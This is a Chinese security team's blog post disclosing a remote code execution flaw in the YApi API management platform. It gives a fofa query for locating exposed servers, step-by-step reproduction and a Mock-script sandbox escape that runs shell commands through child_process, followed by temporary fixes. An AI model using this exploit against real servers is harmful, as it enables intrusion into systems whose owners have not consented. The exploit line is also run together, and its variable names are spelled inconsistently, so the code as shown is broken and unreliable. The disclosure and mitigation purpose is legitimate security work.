天幕安全团队是由一帮主站红队的选手组成的,致力于帮助企业进行安全的威胁发现,漏洞预警。帮助在校大学生熟悉网络安全知识,增强网络安全意识。
研究方向:漏洞挖掘、CTF、红蓝对抗、授权渗透测试,木马分析等。
近日,网络上爆出 YApi 的远程代码执行 0day 漏洞 正被广泛利用。攻击者通过注册用户后,即可通过 Mock 功能远程执行任意代码。
漏洞描述
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
fofa语法
app="YApi"
漏洞复现
主页面长这样滴~
注册一个用户
新建一个项目
点击项目进来,新建一个接口
写入exp
const sandbox = thisconst ObjectCOnstructor= this.constructorconst FunctiOnConstructor= ObjectConstructor.constructorconst myfun = FunctionConstructor('return process')const process = myfun()mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
查看访问接口
网页攻击
修复建议
该漏洞暂无补丁。
临时修复建议:
关闭YAPI用户注册功能,以阻断攻击者注册。
利用请求白名单的方式限制 YAPI 相关端口。
排查 YAPI 服务器是否存在恶意访问记录。
切勿非法用途,履行白帽职责。